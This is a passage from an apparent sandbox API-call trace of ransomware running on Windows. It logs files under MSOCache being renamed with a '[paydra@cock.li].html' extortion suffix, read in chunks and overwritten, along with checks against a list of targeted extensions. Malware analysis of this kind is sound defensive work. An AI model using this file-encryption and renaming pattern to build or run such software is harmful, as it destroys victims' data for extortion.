lpNumberOfBytesWritten=0x329fc88*=0x40000, lpOverlapped=0x0) returned 1 [0035.295] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x225c00, lpNewFilePointer=0x0, dwMoveMethod=0x329fc7c | out: lpNewFilePointer=0x0) returned 1 [0035.295] WriteFile (in: hFile=0x18c, lpBuffer=0x3f41088*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x329fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f41088*, lpNumberOfBytesWritten=0x329fc88*=0x40000, lpOverlapped=0x0) returned 1 [0035.298] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f41088 | out: hHeap=0x4b0000) returned 1 [0035.298] CloseHandle (hObject=0x18c) returned 1 [0036.145] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x2020) returned 1 [0036.146] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0036.146] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0036.146] lstrlenW (lpString=".doc") returned 4 [0036.146] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0036.146] lstrlenW (lpString=".docx") returned 5 [0036.146] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0036.146] lstrlenW (lpString=".pdf") returned 4 [0036.146] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0036.146] lstrlenW (lpString=".xls") returned 4 [0036.146] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0036.146] lstrlenW (lpString=".xlsx") returned 5 [0036.146] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0036.146] lstrlenW (lpString=".ppt") returned 4 [0036.146] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0036.146] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0036.146] lstrlenW (lpString=".zip") returned 4 [0036.146] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0036.146] lstrlenW (lpString=".rar") returned 4 [0036.146] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0036.146] lstrlenW (lpString=".bz2") returned 4 [0036.146] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0036.146] lstrlenW (lpString=".7z") returned 3 [0036.146] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0036.146] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0036.146] lstrlenW (lpString=".dbf") returned 4 [0036.146] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0036.146] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0036.146] lstrlenW (lpString=".1cd") returned 4 [0036.146] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0036.146] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0036.146] lstrlenW (lpString=".jpg") returned 4 [0036.146] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0036.146] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0036.147] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0036.147] lstrlenW (lpString=".doc") returned 4 [0036.147] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0036.147] lstrlenW (lpString=".docx") returned 5 [0036.147] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0036.147] lstrlenW (lpString=".pdf") returned 4 [0036.147] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0036.147] lstrlenW (lpString=".xls") returned 4 [0036.147] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0036.147] lstrlenW (lpString=".xlsx") returned 5 [0036.147] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0036.147] lstrlenW (lpString=".ppt") returned 4 [0036.147] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0036.147] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0036.147] lstrlenW (lpString=".zip") returned 4 [0036.147] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0036.147] lstrlenW (lpString=".rar") returned 4 [0036.147] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0036.147] lstrlenW (lpString=".bz2") returned 4 [0036.147] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0036.147] lstrlenW (lpString=".7z") returned 3 [0036.147] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0036.147] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0036.147] lstrlenW (lpString=".dbf") returned 4 [0036.147] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0036.147] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0036.147] lstrlenW (lpString=".1cd") returned 4 [0036.147] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0036.147] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0036.147] lstrlenW (lpString=".jpg") returned 4 [0036.147] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0036.148] lstrcmpiW (lpString1=".cab", lpString2=".html") returned -1 [0036.148] lstrlenW (lpString="OutlkLR.cab") returned 11 [0036.148] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0036.148] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=14819276) returned 1 [0036.148] CloseHandle (hObject=0x1b8) returned 1 [0036.148] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab")) returned 0x2020 [0036.148] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0036.148] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab.id-9c354b42.[paydra@cock.li].html")) returned 1 [0036.149] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0036.149] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fc6c | out: lpNewFilePointer=0x0) returned 1 [0036.149] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fc2c | out: lpNewFilePointer=0x0) returned 1 [0036.149] ReadFile (in: hFile=0x1b8, lpBuffer=0x3d90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x329fc38, lpOverlapped=0x0 | out: lpBuffer=0x3d90058*, lpNumberOfBytesRead=0x329fc38*=0x40000, lpOverlapped=0x0) returned 1 [0036.152] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x4b5fee, lpNewFilePointer=0x0, dwMoveMethod=0x329fc2c | out: lpNewFilePointer=0x0) returned 1 [0036.152] ReadFile (in: hFile=0x1b8, lpBuffer=0x3dd0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x329fc38, lpOverlapped=0x0 | out: lpBuffer=0x3dd0058*, lpNumberOfBytesRead=0x329fc38*=0x40000, lpOverlapped=0x0) returned 1 [0036.156] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x329fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0036.156] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0xde1fcc, lpNewFilePointer=0x0, dwMoveMethod=0x329fc2c | out: lpNewFilePointer=0x0) returned 1 [0036.156] ReadFile (in: hFile=0x1b8, lpBuffer=0x3e10058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x329fc38, lpOverlapped=0x0 | out: lpBuffer=0x3e10058*, lpNumberOfBytesRead=0x329fc38*=0x40000, lpOverlapped=0x0) returned 1 [0036.174] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0036.174] WriteFile (in: hFile=0x1b8, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x329fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x329fcb0*=0xc0102, lpOverlapped=0x0) returned 1 [0036.189] SetEndOfFile (hFile=0x1b8) returned 1 [0036.189] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x40000) returned 0x3f61090 [0036.448] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fc7c | out: lpNewFilePointer=0x0) returned 1 [0036.448] WriteFile (in: hFile=0x1b8, lpBuffer=0x3f61090*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x329fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f61090*, lpNumberOfBytesWritten=0x329fc88*=0x40000, lpOverlapped=0x0) returned 1 [0036.450] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x4b5fee, lpNewFilePointer=0x0, dwMoveMethod=0x329fc7c | out: lpNewFilePointer=0x0) returned 1 [0036.450] WriteFile (in: hFile=0x1b8, lpBuffer=0x3f61090*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x329fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f61090*, lpNumberOfBytesWritten=0x329fc88*=0x40000, lpOverlapped=0x0) returned 1 [0036.451] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0xde1fcc, lpNewFilePointer=0x0, dwMoveMethod=0x329fc7c | out: lpNewFilePointer=0x0) returned 1 [0036.451] WriteFile (in: hFile=0x1b8, lpBuffer=0x3f61090*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x329fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f61090*, lpNumberOfBytesWritten=0x329fc88*=0x40000, lpOverlapped=0x0) returned 1 [0036.453] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f61090 | out: hHeap=0x4b0000) returned 1 [0036.458] CloseHandle (hObject=0x1b8) returned 1 [0038.828] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x2020) returned 1 [0038.829] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0038.829] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0038.829] lstrlenW (lpString=".doc") returned 4 [0038.829] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0038.829] lstrlenW (lpString=".docx") returned 5 [0038.829] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0038.829] lstrlenW (lpString=".pdf") returned 4 [0038.829] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0038.829] lstrlenW (lpString=".xls") returned 4 [0038.829] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0038.829] lstrlenW (lpString=".xlsx") returned 5 [0038.829] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0038.829] lstrlenW (lpString=".ppt") returned 4 [0038.829] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0038.829] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0038.829] lstrlenW (lpString=".zip") returned 4 [0038.829] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0038.829] lstrlenW (lpString=".rar") returned 4 [0038.829] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0038.829] lstrlenW (lpString=".bz2") returned 4 [0038.829] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0038.829] lstrlenW (lpString=".7z") returned 3 [0038.829] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0038.829] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0038.829] lstrlenW (lpString=".dbf") returned 4 [0038.829] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0038.829] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0038.829] lstrlenW (lpString=".1cd") returned 4 [0038.829] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0038.829] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0038.830] lstrlenW (lpString=".jpg") returned 4 [0038.830] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0038.830] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0038.830] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0038.830] lstrlenW (lpString=".doc") returned 4 [0038.830] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0038.830] lstrlenW (lpString=".docx") returned 5 [0038.830] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0038.830] lstrlenW (lpString=".pdf") returned 4 [0038.830] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0038.830] lstrlenW (lpString=".xls") returned 4 [0038.830] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0038.830] lstrlenW (lpString=".xlsx") returned 5 [0038.830] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0038.830] lstrlenW (lpString=".ppt") returned 4 [0038.830] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0038.830] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0038.830] lstrlenW (lpString=".zip") returned 4 [0038.830] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0038.830] lstrlenW (lpString=".rar") returned 4 [0038.830] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0038.830] lstrlenW (lpString=".bz2") returned 4 [0038.830] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0038.830] lstrlenW (lpString=".7z") returned 3 [0038.830] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0038.830] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0038.830] lstrlenW (lpString=".dbf") returned 4 [0038.830] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0038.830] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0038.830] lstrlenW (lpString=".1cd") returned 4 [0038.830] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0038.830] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0038.830] lstrlenW (lpString=".jpg") returned 4 [0038.830] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0038.831] lstrcmpiW (lpString1=".cab", lpString2=".html") returned -1 [0038.831] lstrlenW (lpString="Proof.cab") returned 9 [0038.831] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0038.831] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=11482605) returned 1 [0038.831] CloseHandle (hObject=0x1b8) returned 1 [0038.831] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab")) returned 0x2020 [0038.831] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0038.831] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab.id-9c354b42.[paydra@cock.li].html")) returned 1 [0038.832] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0038.832] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fc6c | out: lpNewFilePointer=0x0) returned 1 [0038.832] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fc2c | out: lpNewFilePointer=0x0) returned 1 [0038.832] ReadFile (in: hFile=0x1b8, lpBuffer=0x3d90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x329fc38, lpOverlapped=0x0 | out: lpBuffer=0x3d90058*, lpNumberOfBytesRead=0x329fc38*=0x40000, lpOverlapped=0x0) returned 1 [0039.040] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x3a674f, lpNewFilePointer=0x0, dwMoveMethod=0x329fc2c | out: lpNewFilePointer=0x0) returned 1 [0039.040] ReadFile (in: hFile=0x1b8, lpBuffer=0x3dd0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x329fc38, lpOverlapped=0x0 | out: lpBuffer=0x3dd0058*, lpNumberOfBytesRead=0x329fc38*=0x40000, lpOverlapped=0x0) returned 1 [0039.044] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x329fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0039.044] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0xab35ed, lpNewFilePointer=0x0, dwMoveMethod=0x329fc2c | out: lpNewFilePointer=0x0) returned 1 [0039.044] ReadFile (in: hFile=0x1b8, lpBuffer=0x3e10058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x329fc38, lpOverlapped=0x0 | out: lpBuffer=0x3e10058*, lpNumberOfBytesRead=0x329fc38*=0x40000, lpOverlapped=0x0) returned 1 [0039.058] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0039.059] WriteFile (in: hFile=0x1b8, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x329fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x329fcb0*=0xc00fe, lpOverlapped=0x0) returned 1 [0039.076] SetEndOfFile (hFile=0x1b8) returned 1 [0039.076] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x40000) returned 0x3f61890 [0039.235] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fc7c | out: lpNewFilePointer=0x0) returned 1 [0039.235] WriteFile (in: hFile=0x1b8, lpBuffer=0x3f61890*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x329fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f61890*, lpNumberOfBytesWritten=0x329fc88*=0x40000, lpOverlapped=0x0) returned 1 [0039.236] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x3a674f, lpNewFilePointer=0x0, dwMoveMethod=0x329fc7c | out: lpNewFilePointer=0x0) returned 1 [0039.236] WriteFile (in: hFile=0x1b8, lpBuffer=0x3f61890*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x329fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f61890*, lpNumberOfBytesWritten=0x329fc88*=0x40000, lpOverlapped=0x0) returned 1 [0039.238] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0xab35ed, lpNewFilePointer=0x0, dwMoveMethod=0x329fc7c | out: lpNewFilePointer=0x0) returned 1 [0039.238] WriteFile (in: hFile=0x1b8, lpBuffer=0x3f61890*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x329fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f61890*, lpNumberOfBytesWritten=0x329fc88*=0x40000, lpOverlapped=0x0) returned 1 [0039.240] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f61890 | out: hHeap=0x4b0000) returned 1 [0039.240] CloseHandle (hObject=0x1b8) returned 1 [0041.106] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x2020) returned 1 [0041.106] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0041.106] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0041.106] lstrlenW (lpString=".doc") returned 4 [0041.106] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0041.106] lstrlenW (lpString=".docx") returned 5 [0041.106] lstrcmpiW (lpString1=".docx", lpString2="f.cab") returned -1 [0041.107] lstrlenW (lpString=".pdf") returned 4 [0041.107] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0041.107] lstrlenW (lpString=".xls") returned 4 [0041.107] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0041.107] lstrlenW (lpString=".xlsx") returned 5 [0041.107] lstrcmpiW (lpString1=".xlsx", lpString2="f.cab") returned -1 [0041.107] lstrlenW (lpString=".ppt") returned 4 [0041.107] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0041.107] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0041.107] lstrlenW (lpString=".zip") returned 4 [0041.107] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0041.107] lstrlenW (lpString=".rar") returned 4 [0041.107] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0041.107] lstrlenW (lpString=".bz2") returned 4 [0041.107] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0041.107] lstrlenW (lpString=".7z") returned 3 [0041.107] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0041.107] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0041.107] lstrlenW (lpString=".dbf") returned 4 [0041.107] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0041.107] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0041.107] lstrlenW (lpString=".1cd") returned 4 [0041.107] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0041.107] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0041.107] lstrlenW (lpString=".jpg") returned 4 [0041.107] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0041.107] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0041.107] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0041.107] lstrlenW (lpString=".doc") returned 4 [0041.107] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0041.107] lstrlenW (lpString=".docx") returned 5 [0041.107] lstrcmpiW (lpString1=".docx", lpString2="f.cab") returned -1 [0041.107] lstrlenW (lpString=".pdf") returned 4 [0041.107] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0041.108] lstrlenW (lpString=".xls") returned 4 [0041.108] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0041.108] lstrlenW (lpString=".xlsx") returned 5 [0041.108] lstrcmpiW (lpString1=".xlsx", lpString2="f.cab") returned -1 [0041.108] lstrlenW (lpString=".ppt") returned 4 [0041.108] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0041.108] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0041.108] lstrlenW (lpString=".zip") returned 4 [0041.108] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0041.108] lstrlenW (lpString=".rar") returned 4 [0041.108] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0041.108] lstrlenW (lpString=".bz2") returned 4 [0041.108] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0041.108] lstrlenW (lpString=".7z") returned 3 [0041.108] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0041.108] lstrlenW (lpString="C:\\MSOCache\\All 